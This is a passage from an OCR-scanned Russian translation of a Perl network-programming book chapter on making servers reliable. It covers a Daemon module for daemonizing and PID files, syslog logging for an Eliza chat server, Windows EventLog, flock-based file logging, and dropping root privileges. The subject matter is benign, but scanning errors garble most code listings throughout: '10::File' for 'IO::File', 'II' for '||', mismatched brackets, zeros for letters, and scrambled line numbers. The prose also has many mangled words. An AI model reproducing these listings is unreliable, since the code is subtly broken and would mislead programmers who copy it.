только на свой страх и риск.
422
Часть Ш. Разработка систем TCP типа клиент/сервер
Применение средств ведения журнала
в программе психотерапевтического сервера
Ниже описано, как применить средства ведения журнала в программе
психотерапевтического сервера, приведенной в листинге 10.5. Различные функции
автоматического перевода сервера в фоновый режим и управления файлом PID еще более
затрудняют чтение основного файла сценария, поэтому поместим их в отдельный
модуль Daemon наряду с некоторыми новыми вспомогательными функциями записи
в системный журнал. По такому же принципу можно поместить в один удобный пакет
новую функцию init_daemon (), которая выполняет автоматический перевод в
фоновый режим, управляет файлом PID и открывает систему syslog. Код модуля
Daemon приведен в листинге 14.1.
Листинг 14.1. Модуль Daemon
13
14
15
16
17
18
19
20
21
22
23
24
package Daemon;
use strict;
use vars qw(@EXPORT @ISA @EXPORT_OK $VERSI0N);
use POSIX qw(setsid WNOHANG);
use Carp 'croak*,'cluck';
use File::Basename;
use 10::File;
use Sys::Syslog qw(:DEFAULT setlogsock);
require Exporter;
9: @EXPORT_OK =
qw( init_server log_debug log_notice log_warn log_die);
10: 0EXPORT = @EXPORT_OK;
11: @ISA = qw(Exporter);
12: $VERSI0N = 4.00';
use constant PIDPATH => '/usr/tmp';
use constant FACILITY ==> 'localO';
my ($pid,$pidfile);
sub init_server {
$pidfile = shift II getpidfilename();
my $fh = open_pid_file($pidfile);
become_daemon();
print $fh $$;
close $fh;
init_log();
return $pid = $$;
)
25: sub become_daemon {
26: die "Can't fork" unless defined (my $child = fork);
27: exit 0 if $child; # Завершение родительского
# процесса
28: setsid(); # Преобразование в лидера
# сеанса
29: open(STDIN, "</dev/null");
Глава 14. Повыгиение безотказности серверов
423
open(STDOUT,">/dev/null");
open (STDERR, ">&STDOUT") ;
chdir '/' ; # Смена рабочего каталога
umask(O); # Сброс маски режима
# создания файла
$ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/shin';
$SIG{CHLD) = \&reap_child;
return $$;
}
sub init_log {
setlogsock('unix') ;
my $basename = basename($0);
openlog($basename,'pid',FACILITY);
}
sub log_debug { syslog("debug1,_msg(@_)) )
sub log_notice { syslog('notice',_msg(G_)) }
sub log_warn { syslog('warning*,_msg(@_)) }
sub log_die {
syslog('crit',_msg(G_));
die @_;
}
sub _msg {
my $msg = join('',@_) || "Something's wrong";
my ($pack,$filename,$line) = caller(l);
$msg .= " at $filename line $line\n" unless $msg =~ /\n$/;
$msg;
}
56: sub getpidfilename {
57: my $basename = basename($0,'.pi');
58: return PIDPATH . "/$basename.pid";
59: }
60: sub open_pid_file {
61: my $file = shift;
62: if (-e $file) { # Ошибка. Файл pid уже
# существует
63: my $fh = 10::File->new($file) II return;
64: my $pid = <$fh>;
65: croak "Server already running with PID $pid" if kill 0 =
> $pid;
66: cluck "Removing PID file for defunct server process
$pid.\n";
67: croak"Can/t unlink PID file Sfile"
unless -w $file && unlink $file;
68: }
69: return 10::File->new($file,OWRONLY|0_CREAT|0_EXCL,0644)
70: or die "Can't create $file: $!\n";
71: }
72: sub reap_child {
73: do { } while waitpid(-l,WNOHANG) > 0;
74: }
75: END { unlink $pidfile if defined $pid and $$ == $pid }
76: 1;
424
Часть III. Разработка систем TCP типа клиент/сервер
Проведем анализ программы.
• Строки 1-12. Инициализация модуля. Загружается модуль Sys:: Syslog, наряду с модулями
POSIX, Carp, Ю::File и File: :Basename. Последний будет применяться для формирования
строки с именем программы, под которым будут регистрироваться в журнале сообщения об
ошибках. В оставшейся части этого раздела экспортируется пять функций: init_server (),
logdebug (), log_notice (), log_warn () и log_die () .Функция init_server ()
автоматически переводит демон в фоновый режим, открывает соединение с системой syslog и выполняет
другую инициализацию времени выполнения. Функция log_debug () и родственные ей функции
записывают сообщения в системный журнал с соответствующим приоритетом.
• Строки 13-15. Определение констант. Выбираются заданный по умолчанию путь доступа
к файлу PID и категория ведения журнала locaio.
• Строки 16-24. Подпрограмма init_server(). Подпрограмма init_server(.) выполняет
инициализацию сервера. Путь к файлу PID берется из списка параметров подпрограммы,
а если путь не указан, то он формируется в самой подпрограмме. Затем вызывается
подпрограмма open_pid_f lie (), которая открывает новый файл PID для записи или аварийно
прекращает работу, если сервер уже функционирует.
При условии, что все идет успешно, выполняется автоматический переход в фоновый режим путем
вызова подпрограммы becomedaemon () и осуществляется запись текущего идентификатора
процесса в файл PID. После этого вызывается подпрограмма init_log () для инициализации системы
syslog. Затем в основную программу возвращается текущий идентификатор процесса PID.
• Строки 25-37. Подпрограмма become_daeoon(). Эта подпрограмма подобна приведенной
в листинге 10.3. Она автоматически переводит сервер в фоновый режим, закрывает три
стандартных дескриптора файла и отключает сервер от управляющего терминала. Единственное
отличие состоит в том, что теперь обработчик сигнала chld устанавливается в этой подпрограмме,
а не в главной программе. Обработчик chld представляет собой подпрограмму reap_child ().
• Строки 38-42. Подпрограмма init_iog(). Эта подпрограмма отвечает за инициализацию
соединения с системой syslog. Выполнение подпрограммы начинается с установки типа
соединения, соответствующего локальному сокету домена UNIX; благодаря этому, данный
модуль может стать более удобным для применения в разных системах, чем при использовании
предусмотренного'по умолчанию типа соединения "inet". Определяется также базовое имя
файла программы и используется для вызова функции openlogt).
• Строки 43-55. Подпрограммы iog_*. Вместо непосредственного вызова функции syslog (),
определены четыре сокращенные подпрограммы: log_deijug (), log_notice (), log_warn ()
и log_die (). Квждая из них принимает один или более строковых параметров в таком же
стиле, как функция warn (), переформатирует их и вызывает функцию syslog () для вывода в
журнал сообщения с соответствующим приоритетом. Подпрограмма iog_die () немного
отличается от остальных. Она выводит в журнал сообщение с приоритетом crit, а затем
вызывает функцию die () для выхода из программы.
Подпрограмма _msg () используется в этих же подпрограммах для форматирования
сообщений журнала. Она соответствует соглашениям, применяемым в функциях warn () и die ().
Вначале выполняется конкатенация параметров с использованием текущего значения
переменной разделителя выходных записей, $\, для создания сообщения об ошибке. Если
сообщение не оканчивается символами с обозначением конца строки, то к нему добавляется
фраза "at $ filename line $iine", в которой содержатся две переменные с именем файла
и номером строки вызывающего кода, полученные из встроенной функции caller ().
■ Строки. 56-59. Подпрограмма getpidfilename (). Эта подпрограмма возвращает
применяемое по умолчанию имя файла PID, в котором хранится идентификатор процесса
работающего сервера. Вызывается функция basename (:) для удаления из имени сценария
обозначения пути каталога и расширения ".pi", а затем выполняется конкатенация полученного
базового имени с обозначением каталога pidpath. . .
• Строки 60-71. Подпрограмма' open_pid_£iie (). Эта подпрограмма идентична
первоначальной версии, приведенной в листинге 10.4.
• Строки 72-74. Подпрограмма reap_chiid(). Это— знакомый нам обработчик chld,
который вызывает функцию waitpid () до тех пор, пока из системных таблиц не будет удалена
информация обо всех завершившихся дочерних процессах.
Глава 14. Повышение безотказности серверов
425
• Строка 75. Блок end {J. Блок end {} этого пакете автоматически уничтожает файл PID перед
завершением работы сервера. Поскольку в этой версии сервера применяется ветвление,
необходимо учитывать, что файл должен быть удален, только если текущий идентификатор процесса
PID сервера совпадает с PID, записанным в файле во время инициализации сервера.
С применением модуля Daemon можно упростить код психотерапевтического
сервера и одновременно добавить к нему средства ведения журнала событий (листинг 14.2).
Листинг 14.2. Психотерапевтический сервер со средствами ведения журнала
0: #!/usr/bin/perl
1: # Файл: eliza_log.pl
9
10
11
12
13
14
15
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
use strict;
use Chatbot::Eliza;
use IO::Socket;
use Daemon;
6: use constant PORT => 12000;
7: # Обработчик сигналов, связанных с завершением работы
# дочерних процессов
8: $SIG{TERM} = $SIG{INT} = sub { exit 0; );
my $port = shift || PORT;
my $listen_socket = IO::Socket::INET->new(LocalPort => $port.
Listen => 20,
Proto => *tcp',
Reuse => 1);
die "can't create a listening socket: $G" unless $listen_socket;
my $pid = init_server();
16: log_notice "Server accepting connections on port $port\n";
while (my $connection = $listen_socket->accept) {
log_die("Can't fork: $!") unless defined (my $child = fork());
if ($child == 0) {
$listen_socket->close;
my $host = $connection->peerhost;
log_notice("Accepting a connection from %s\n",$host);
interact($connection);
log_notice("Connection from %s finished\n",$host) ;
exit 0;
}
$connection->close;
)
sub interact {
my $sock = shift;
STDIN->fdopen($sock, "r") or die "Can't reopen STDIN: $!";
STDOUT->fdopen($sock,"w") or die "Can't reopen STDOUT: $!",
STDERR->fdopen($sock,"w") or die "Can't reopen STDERR: $!";
$1 = 1;
my $bot = Chatbot::Eliza->new;
$bot->command_interface;
}
426
Часть III. Разработка систем TCP типа клиент/сервер
38: sub Chatbot::Eliza::_testquit {
39: my ($self,$string) = @_;
40: return 1 unless defined $string; j# Проверить наличие
# конца файла EOF
41: foreach (@{$self->{quit}}) ( return 1 if $string =~ /\b$_\b/i
};
42: }
43
44
45
END {
log_notice("Server exiting normally\n") if $$ = $pid;
}
Проведем анализ программы.
Строки 1-6. Загрузка модулей. Загружаются модули chatbot::Eliza и 1С::Socket, а
также новый модуль Daemon. Кроме этого, определяется порт, предусмотренный по умолчанию,
через который сервер должен принимать входящие запросы.
Строки 7,8. Установка обработчиков сигналов. Устанавливаются обработчики сигналов
term и int, которые обеспечивают нормальный останов сервера. Это дает возможность
удалить файл PID в блоке END {} модуля Daemon.
Обратите внимание, что обработчик chld в основной программе уже не устанавливается,
поскольку эта обязанность теперь возложена на подпрограмму init_server ().
Строки 9-15. Открытие приемного сокета и инициализация сервера. Открывается приемный
сокет TCP в порту, указанном в командной строке, а в случае неудачи при выполнении этого
действия вызыввется функция die. Затем вызывается подпрограмма init_server () для
инициализации средств ведения журнала и автоматического перевода сервера в фоновый режим, после
чего возвращенное значение идентификатора процесса PID записывается в глобальную
переменную. После возврата из этой подпрограммы сервер работает в фоновом режиме и больше не
может выводить информацию на стандартное устройство вывода сообщений об ошибках.
Строка 16. Регистрация сообщения запуска. Вызывается подпрограмма log_notice () для
записи информационного сообщения в системный журнал.
Строки 17-28. Цикл приема запросов на установление соединения. Теперь программа
входит в цикл accept () сервера. Как и в предыдущих версиях этого сервера, в цикле
принимаются входящие запросы на установление соединения и путем ветвления создаются новые
процессы для их обслуживания. Однако здесь предусмотрено новое средство — регистрация
каждого нового входящего соединения с использованием следующего фрагмента кода:
my $host = $connection->peerhost;
log_notice("Accepting a connection from %s\n",$host);
Вызывается метод peerhost () подключенного объекта 10:: socket для получения IP-адреса
удаленного хоста в виде четырех чисел, разделенных точками, и в систему syslog
отправляется сообщение с указанием, что от этого хоста принят запрос на соединение. В дальнейшем,
после того как дочерний процесс закончит обслуживание соединения с помощью
подпрограммы interact (), по той же общей схеме будет выполнена регистрация в журнале сообщения
с указанием, что соединение закрыто.
Еще одно отличие от первоначальной версии сервера состоит в том, что для регистрации
неудачного выполнения вызова функции fork () вызывается подпрограмма iog_die (), которая
вносит в журнал сообщение с приоритетом crit и завершает процесс.
Строки 29-42. Подпрограммы interact О и _testquit О. Они идентичны подпрограммам,
приведенным в главе 10.
Строки 43-45. Блок end О- Во время останова выполняется регистрация информационного
сообщения с указанием, что сервер прекращает свою работу. Как и в предыдущих версиях,
необходимо следить за тем, чтобы идентификатор данного процесса совпадал с
идентификатором родительского процесса. В ином случае этот код также будет вызван каждым дочерним
процессом и в журнале появятся непонятные сообщения. Задача удаления файла PID
выполняется в блоке END {} модуля Daemon.
Глава 14. Повышение безотказности серверов
427
В процессе выполнения этой программы в системном журнале появляются
следующие записи.
Jun 2 23:12:36 pesto eliza_log.pl [14893]:
Server accepting connections on port 12005
Jun 2 23:12:42 pesto eliza_log.pl[14897]:
Accepting a connection from 127.0.0.1
Jun 2 23:12:48 pesto eliza_log.pl[14897]:
Connection from 127.0.0.1 finished
Jun 2 23:12:49 pesto eliza_log.pl [14899]:
Accepting a connection from 192.168.3.5
Jun 2 23:13:02 pesto eliza_log.pl[14901]:
Accepting a connection from 127.0.0.1
Jun 2 23:13:19 pesto eliza_log.pl[14899]:
Connection from 192.168.3.5 finished
Jun 2 23:13:26 pesto eliza_log.pl[14801]:
Connection from 127.0.0.1 finished
Jun 2 23:13:39 pesto eliza_log.pl[14893]:
Server exiting normally
Обратите внимание, что записи с указаниями о запуске и останове сервера
регистрируются с идентификатором PID родительского процесса, а сообщения об
отдельных подключениях — с идентификаторами PID различных дочерних процессов.
Регистрация сообщений, вырабатываемых
функциями warn() и die()
Хотя в программе и реализован способ явной регистрации сообщения об ошибках
в системном журнале, пока приходится мириться с тем, что сообщения об ошибках,
вырабатываемые функциями warn () и die (), бесследно пропадают. К счастью,
в языке Perl предусмотрен механизм перекрытия функций warn () и die ()
функциями, определяемыми пользователем. Это позволяет обеспечить вызов функцией
warn () подпрограммы log_warn (), а функцией die () — подпрограммы log_die {).
Для доступа к обработчикам warn () и die () служат два специальных ключа в
хеше %SIG. Если в качестве значений элементов $SIG{_WARN_) и/или $SIG{_DIE_}
этого хеша будут установлены ссылки на код, то при каждом вызове функций warn ()
или die {), вместо предусмотренных по умолчанию процедур, будет вызываться этот
код. Для внесения такой поправки достаточно ввести небольшое дополнение в
подпрограмму init_log() модуля Daemon.
$SIG{_WARN_) = \&log_warn;
$SIG{_DIE_) = \&log_die;
После внесения этого изменения можно больше не задумываться о том, что для
записи сообщений в журнал нужно вызывать подпрограмму log_notice {) или
log_die (). Вместо этого, можно использовать знакомую функцию warn () для
отправки в системный журнал обычных предупреждающих сообщений или die () — для
регистрации сообщения об аварийной ситуации и завершения программы.
Подпрограммы log_warn () и log_die () не изменяются. То, что функцию die ()
вызывает сама подпрограмма log_die (), не приведет к бесконечной рекурсии.
Интерпретатор Perl является достаточно интеллектуальным, чтобы обнаружить, что
подпрограмма log_die () вызывается в обработчике $SIG{_DIE_} и что в этом
контексте нужно использовать встроенную версию функции die ().
428 Часть Ш. Разработка систем TCP типа клиент/сервер
После того как автор установил в программе психотерапевтического сервера
(листинг 15.2) обработчики $SIG{_WARN_} и $SIG{_DIE_}, обнаружился
любопытный факт. В системном журнале после завершения работы каждого клиентского
приложения стали появляться примерно такие сообщения:
Jun 13 06:22:11 pesto eliza_hup.pl [8933]:
Can't access 'DESTROY' field in object of class Chatbot::Eliza
Эти сообщения представляют собой предупреждения интерпретатора Perl о том,
что в объекте Chatbot: :Eliza отсутствует подпрограмма DESTROY. Эту ошибку
можно исправить очень просто; достаточно добавить фиктивное определение
подпрограммы DESTROY в конце файла серверного сценария.
sub Chatbot::Eliza::DESTROY { }
При работе с предыдущими версиями сервера автор и не подозревал о появлении
таких предупреждающих сообщений, поскольку стандартное устройство вывода
сообщений об ошибках было закрыто и диагностика терялась. Этот пример показывает,
что отказ от регистрации всех возникающих сообщений может быть очень опасным!
Применение журнала событий Event Log на
платформах Win32
Модуль Win32: :EventLog для Windows NT/2000 предоставляет примерно такие
же функциональные возможности, как и модуль Sys::Syslog. Основной API-
интерфейс ведения журналов, необходимый для сетевых демонов, базируется только
на трех методах.
$log - Win32: :EvenrLog->oew(Seouxoenajbet.Sservername])
Метод класса new () открывает журнал событий на локальном или удаленном компьютере
Параметр $s<. игсеплпь указывает имя журнала, которое должно иметь едно из стандартных значений:
V^-plication", "System" или "Security". Необязательный параметр Sservemwa обозначает имя
удаленного сервера в стандартном сетевом формате UNC системы Windows (налримор, \\sekvek9).
Если параметр $8ervern«me задан, метод new о пытается открыть указанный журнал на удаленном
компьютере. В ином случае он открывает локальный журнал. В случае успешного выполнения метод
new () возвращает объект Win32:: Eve-ntLo<; для использования при регистрации сообщений.
greeult - $log->Report(\fdata);
Метод Report () вносит запись в выбранный файл журнала. Его параметром является ссылка
на хеш, cu£i »жа ий ключи EventType. Cate jory. Event ID, Lata и Strin s.
Ключ EventType обозначает и тип, и степень серьезности ошибки. В качестве
него должна применяться одна из следующих констант.
■ EVENTLOG_INFORMATION_TYPE. Информационное сообщение.
■ EVENTLOG_WARNING_TYPE. Некатастрофическая ошибка.
■ EVENTLOG_ERROR_TYPE. Неисправимая ошибка.
■ EVENTLOG_AUDIT_SUCCESS. Событие аудита "success", которое обычно
записывается в журнал Security.
■ EVENTLOG_AUDIT_FAILURE. Событие аудита "failure", которое обычно
записывается в журнал Security.
Значение ключа Category зависит от приложения. Оно может представлять
собой любое произвольное числовое значение.
Глава 14. Повышение безотказности серверов
429
Приложение Event Viewer позволяет сортировать и отбирать записи журнала на
основе ключа Category.
Ключ EventID представляет собой идентификатор события, который зависит от
приложения. Он может применяться для числового обозначения конкретного
сообщения об ошибке.
Ключ Data содержит произвольные данные, связанные с конкретной записью
журнала. Он обычно используется оттранслированными программами для хранения данных
исключения. Значение, записанное под этим ключом, вполне может остаться пустым.
Ключ Strings содержит одну или несколько строк, предназначенных для
восприятия человеком, которые должны быть связаны с данной записью журнала. Под этим
ключом хранится сообщение об ошибке. Сообщение можно разбить на несколько
строк, разделив их нулевым символом (\0).
Slog->Cloee()
Метод close () закрывает и t ищает объект EventLcg.
В следующем примере показано, как записать информационное сообщение в
журнал Application на локальном компьютере.
use Win32::EventLog;
my $log = Win32::EventLog->new('Application')
or die "Can't log: $!";
$log->Report({ EventType => EVENTLOG_INFORMATION_TYPE,
Category => 1,
EventID => 1,
Data => undef.
Strings => "Server listening on port 12345"
));
$log->Close;
Непосредственное ведение журнала в файле
Вместо ведения журнала с помощью системы syslog Unix или приложения Event
Log Windows, можно применить более простой метод регистрации сообщений —
запись непосредственно в файл. Это решение приемлемо для приложений с большим
объемом журналов, таких как Web-серверы, поскольку они способны вызвать
перегрузку системы ведения журналов.
Для регистрации сообщений в файле достаточно открыть этот файл в режиме
добавления и включить режим автоматического сброса для дескриптора файла.
Последнее действие является очень важным, поскольку в ином случае в файле журнала
может перемешиваться информация, выводимая из порожденных дочерних
процессов. Еще одна проблема состоит в обслуживании многочисленных серверов, для
которых может быть предусмотрена запись информации журнала в один и тот же файл.
Если они попытаются выполнить запись одновременно, сообщения в журнале могут
перемешаться. Для предотвращения этого применяются рекомендательные
блокировки файла, создаваемые с помощью встроенной функции flock ().
Функция flock () имеет простую синтаксическую структуру.
«boolean - flock (ПЬЖВАМри, (how) ;
Первым параметром этой функции является дескриптор файла, открытый в файл, который
должен быть заблокирован, а вторым — числовая константа с обозначением операции блокировки, ко-
тсггя должна быть выполнена (табл. 14.1).
430
Часть Ш. Разработка систем TCP типа клиент/сервер
Таблица 14.1. Параметры функции flock ()
Операция
LOCK_EX
LOCK_SH
LOCKUN
Описание
Установить исключительную блокировку
Установить разделяемую блокировку
Разблокировать файл
*
Разделяемыми блокировками, создаваемыми с помощью операции LOCK_SH,
может владеть несколько процессов одновременно, и они применяются, когда
информацию в файле читает сразу несколько программ. В этой книге используется
блокировка LOCKEX, поскольку она может принадлежать одновременно только одному
процессу и применима для блокировки файла, в который должна быть выполнена
запись. Эти три константы могут быть импортированы из модуля Fcntl с
использованием тега : flock.
Подпрограммы logdebug (), log_notice () и logwarn () будут
откорректированы так, чтобы они позволяли записать в дескриптор файла правильно
откорректированные сообщения. В качестве дополнительной возможности в этих функциях
предусмотрена проверка внутренней переменной пакета $PRIORITY, позволяющая
записывать в журнал только те сообщения, приоритет которых равен значению этой
переменной или превышает его. В результате появляется возможность вести
подробный журнал во время разработки и отладки, а после ввода в эксплуатацию
ограничиться регистрацией сообщений об ошибках.
Пример использования этой схемы приведен в листинге 14.3, в котором
определен небольшой модуль LogFile. Ниже приведена иллюстрация применения
этого модуля.
#!/usr/bin/perl
use LogFile;
init_log('/usr/local/logs/mylog.log') or die "Can't log!";
log_priority(NOTICE);
log_debug("This low-priority debugging statement will not be
seen.\n");
log_notice("This will appear in the log file.\n");
log_warn("This will appear in the log file as well.\n");
die "This is an overridden function.\n";
После загрузки модуля LogFile вызывается подпрограмма init_log(),
которой передается имя пути к применяемому файлу журнала. Затем вызывается
подпрограмма log_priority с параметром NOTICE для подавления всех сообщений
более низкого приоритета. После этого выполняется регистрация нескольких
сообщений с разными приоритетами и, наконец, вызывается функция die () для
демонстрации того, что функции warn () и die () были успешно перекрыты.
После выполнения этой проверочной программы в журнале появляются
следующие записи.
Wed Jun 7 09:09:52 2000 [notice] This will appear in the log
file.
Wed Jun 7 09:09:52 2000 [warning] This will appear in the log
file as well.
Wed Jun 7 09:09:52 2000 [critical] This is an overridden
function.
Ниже приведено описание модуля LogFile.
Глава 14. Повышение безотказности серверов
431
Листинг 14.3. Ведение жу нала в айле
package LogFile;
use IO::File;
use Fcntl ':flock*;
use Carp 'croak';
use strict;
use vars qw(@ISA 0EXPORT);
require Exporter;
0ISA = 'Exporter';
0EXPORT = qw(DEBUG NOTICE WARNING CRITICAL
init_log set_priority
log_debug log_notice log_warn log_die);
use constant DEBUG => 0;
use constant NOTICE => 1;
use constant WARNING => 2;
use constant CRITICAL => 3;
my ($PRIORITY,$fh); # Глобальные переменные
sub init_log {
my $filename = shift;
$fh = 10::File->new
($filename,0_WRONLY|0_APPEND|0_CREAT,0644) I I return;
$fh->autoflush(1);
$PRIORITY = DEBUG; # Регистрировать все сообщения
$SIG( WARN } = \&log__warn;
$SIG{ DIE } = \&log_die;
return 1;
}
sub log_priority {
$PRI0RITY = shift if @_;
return $PRIORITY;
}
sub _msg {
my $priority = shift;
my $time = localtime;
my $msg = join('',@_) || "Something's wrong";
my ($pack,$filename,$line) = caller(1);
$msg .= " at $filename line $line\n" unless $msg =~ /\n$/;
return "$time [$priority] $msg";
}
sub _log (
my $message = shift;
flock($fh,L0CK_EX);
print $fh $message;
flock($fh,L0CK_UN);
}
43: sub log_debug {
44: return unless DEBUG >= $PRIORlTY;
432
Часть Ш. Разработка систем TCP типа клиент/сервер
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
log(_msg('debug', &_));
}
sub log_notice {
return unless NOTICE >= $PRIORITY;
_log(_msg('notice *, @_)) ;
}
sub log_warn {
return unless WARNING >= $PRIORITY;
_log(_msg('warning•,@_));
}
sub log_die {
return unless CRITICAL >= $PRIORITY;
_log(_msg(* critical',@_));
die @_;
}
60: 1;
Проведем анализ программы.
Строки 1-10. Инициализация модуля. Загружается модуль iO::File и другие сервисные
пакеты, а также определяются экспортируемые функции текущего модуля.
Строки 11-14. Определение констант. Определяются числовые константы для приоритетов
DEBUG, NOTICE, WARNING И CRITICAL.
Строка 15. Глобальные переменные. В пакете используются две глобальные переменные.
Переменная $ priority определяет текущий порог приоритета. В журнал вносятся только
сообщения с приоритетом большим или равным значению $ priority. Переменная $fh
содержит дескриптор файла, открытый в файл журнала. Эта переменная может также применяться
для блокировки. Следствием этого проектного решения является то, что процесс в любой
момент времени может открыть только один файл журнале.
Строки 16-24. Подпрограмма init_iog(). Данная подпрограмма вызыввется с именем пути
к требуемому файлу журнала. Предпринимается попытка открыть файл для добавления.
В случае успешного выполнения включается режим автоматического сброса, устанавливается
знвчение порога приоритета, рввного debug, и функции warn () и die () заменяются
собственными процедурами log_warn () и log_die ().
Строки 25-28. Подпрограмма iog_priority О. Эта подпрофамма получает и
устанавливает глобальную переменную $priority, упрввляя порогом регистрации сообщений с заданным
приоритетом.
Строки 29-36. Подпрограмма _msg(). Эта подпрограмма аналогична подпрограмме _msg (),
которая была описана выше, за исключением того, что теперь она отвечает за добавление
отметки времени и уровня приоритета к каждой записи журнала.
Строки 37-42. Подпрограмма _log(). Это — внутренняя подпрофамма для звписи
сообщений в файл журнала. Эта подпрограмма вызывается с одним параметром, содержащим
записываемое сообщение. После блокировки файла журнала путем вызова функции flock ()
с параметром lockjex в дескриптор файла выводится сообщение с помощью функции
print (), а затем блокировкв освобождается путем повторного вызова функции flock ()
с параметром lock_un.
Строки 43-59. Подпрограммы log_debug(), iog_notice(), iog_warn(), log_die().
Каждая из этих подпрограмм принимает сообщение об ошибке в формате функций warn () или
die (). Если значвние $priority выше приоритета сообщения, нв выполняется никаких
действий. В ином случае вызывается подпрофамма _msg() для форматирования сообщения
и передачи результата подпрограмме _log () для записи в файл журнала. Подпрограмма
log_die () выполняет дополнительное действие — вызывает встроенную функцию die ()
для аварийного завершения программы.
Глава 14. Повышение безотказности серверов 433
Установка привилегий пользователя
Иногда сетевое приложение необходимо эксплуатировать с привилегиями
пользователя root (суперпользователя). Обычно это обусловлено следующими причинами.
■ Чтобы открыть сокет в привилегированный порт, необходимо выполнить
привязку приложения к стандартному порту в зарезервированном диапазоне 1... 1023,
например к порту HTTP (Web) номер 80. Для этого в системах UNIX
приложение должно выполняться с правами пользователя root.
■ Чтобы открыть файл журнала или файл PID, может потребоваться создать
подобный файл в каталоге, к которому имеет доступ только привилегированный
пользователь, например в каталоге /var/run. Для создания файла и открытия
его для записи приложение должно работать с правами пользователя root.
Даже несмотря на то, что конкретное сетевое приложение должно начинать
работу под именем пользователя root, чтобы иметь возможность открыть
привилегированные порты или файлы с ограниченным доступом, обычно нежелательно
продолжать его эксплуатацию в качестве пользователя root. Поскольку сетевые серверы
доступны извне, они крайне уязвимы для злонамеренного использования со стороны
недобросовестных личностей. Даже небольшие ошибки при их соответствующем
использовании могут привести к созданию брешей в защите. Например, сервер можно
заставить выполнять системные команды от имени взломщика или передавать
конфиденциальную информацию о системе стороннему пользователю.
Опасность использования этих брешей в защите резко возрастает, если сервер
работает от имени пользователя root. В таком случае удаленный пользователь может
заставить сервер выполнять системные команды с правами суперпользователя,
читать и писать файлы, к которым обычно не имеет доступа непривилегированный
пользователь, например системные файлы паролей.
Как правило, рекомендуется отказаться в серверной программе от привилегий
суперпользователя как можно раньше (или хотя бы перед переходом к обработке
входящих данных). Как только рассматриваемый сокет или файл будет открыт,
приложение может исключить для себя ненужные привилегии и перейти к работе в
качестве обычного пользователя. При этом сокет или дескриптор файла, открытый во
время инициализации, будет по-прежнему функционировать нормально.
Изменение идентификаторов пользователя
и группы
В языке Perl предусмотрены четыре специальные числовые переменные, которые
управляют идентификаторами пользователя и группы текущего процесса.
■ $<. Реальный числовой идентификатор пользователя (UID— user ID) данного
процесса.
■ $ (. Реальный числовой идентификатор группы (GID—group ID) данного процесса.
■ $>. Действующий числовой идентификатор пользователя (EUID — effective user
ID) данного процесса.
■ $). Действующий числовой идентификатор группы (EGID — effective group ID)
данного процесса.
434 Часть III. Разработка систем TCP типа клиент/сервер
В результате изменения хранящегося в переменной $> действующего
идентификатора пользователя программы, которая работает с правами суперпользователя,
можно временно изменить идентификатор пользователя, под именем которого
работает эта программа, выполнить с правами этого пользователя определенные
операции, а затем снова вернуться к работе от имени суперпользователя. Если же в
программе будет изменен и реальный UID, который хранится в переменной $<, и
действующий UID, записанный в переменной $>, то эти изменения становятся
постоянными. После того как в программе произошел отказ от привилегий супер-
пользователя в результате изменений значений и переменной $<, и $>, невозможно
восстановить статус суперпользователя. Такое решение наиболее предпочтительно
с точки зрения защиты, поскольку это исключает для взломщиков возможность
пользоваться ошибками программы для получения статуса суперпользователя.
В программах, работающих с правами непривилегированного пользователя, как
правило, невозможно изменить значение переменной $< или $>. Исключение из
этого правила возникает, когда для файла сценария установлен бит setuid: программа
работает с EUID пользователя, которому принадлежит файл сценария, и с реальным
UID пользователя, который запустил ее на выполнение. В этом случае в программе
можно поменять местами действующий и реальный идентификаторы пользователя
с помощью оператора присваивания.
($<,$>) = ($>,$<);
Это дает возможность выполнять в программах с установленным битом-setuid
прямое и обратное переключение между реальными и действующими
идентификаторами пользователя. Однако в программе с установленным битом setuid можно
отказаться от такой возможности (прямого и обратного переключения), выполнив
следующее простое присваивание реальному идентификатору пользователя
действующего идентификатора пользователя. После этого в такой программе больше не будет
разрешено изменять действующий идентификатор пользователя EUID.
$< = $>;
Описанная выше операция переключения между реальными и действующими
идентификаторами пользователя применима только к тем версиям UNEK, которые
поддерживают вызов setreuid () библиотеки С. Кроме того, бит setuid действует
только в том случае, если интерпретатор Perl настроен на его распознавание и учет.
Аналогичное различие существует между реальным и действующим
идентификаторами группы. Суперпользователь вправе указать вместо действующего
идентификатора группы любой другой идентификатор группы. Все последующие операции будут
происходить с правами нового действующего идентификатора группы.
Непривилегированный пользователь, как правило, не может изменить действующий
идентификатор группы. Однако в программах с установленным битом setgid, которые
приобретают действующий идентификатор группы своей группы-владельца в результате
применения этого бита разрешения, можно менять местами реальный и
действующий идентификаторы группы.
В большинстве современных систем UNIX применяется также принцип
дополнительных групп. Это — группы, к которым может дополнительно принадлежать
пользователь, отличные от его основной группы. В таких системах после выборки
значения переменных $ ( или $) может быть получена строка с числовыми
идентификаторами групп, разделенными пробелами. Первым идентификатором группы является
идентификатор реальной или действующей основной группы пользователя, а
остальные обозначают дополнительные группы.
Глава 14. Повыгиетте безотказности серверов 435
Изменение идентификаторов групп в программе на языке Perl может оказаться
довольно сложным. Чтобы изменить реальную основную группу процесса,
необходимо присвоить переменной $ ( одно число (а не список). Для изменения действующего
идентификатора группы Ш переменной $) также необходимо присвоить одно число.
Чтобы одновременно изменить список дополнительных групп, нужно присвоить
переменной $) список идентификаторов групп, разделенных пробелами. Первое число
будет назначено как новый действующий идентификатор группы, а остальные, если
они имеются, будут обозначать дополнительные группы. Для присвоения списку
дополнительных групп значения пустого списка необходимо дважды повторить
действующий идентификатор группы.
$) = '501 501';
Работа психотерапевтического сервера
с правами суперпользователя
В приведенном ниже примере использования прав суперпользователя в сетевом
демоне психотерапевтический сервер выполняет следующие операции, которые
требуют доступа с правами суперпользователя.
1. Вместо создания файла РШ в каталоге, доступ для записи к которому имеют
все пользователи, сервер запишет свой идентификатор процесса в файл,
расположенный в каталоге /var/run, запись в котором в большинстве систем
может выполнять только суперпользователь.
2. По умолчанию сервер теперь будет пытаться открыть сокет, привязанный к порту
1002, который находится в диапазоне привилегированных номеров сокетов.
3. После открытия сокета и файла PID сервер установит для себя значения EUID
и GID непривилегированного пользователя, которые по умолчанию
соответствуют пользователю nobody и группе nogroup.
4. После приема входящего запроса на установление соединения и выполнения
ветвления, но перед обработкой любых входящих данных, сервер навсегда
откажется от привилегий суперпользователя, установив свой реальный UID
равным действующему UID.
Этот проект требует добавления новой подпрограммы к модулю Daemon и
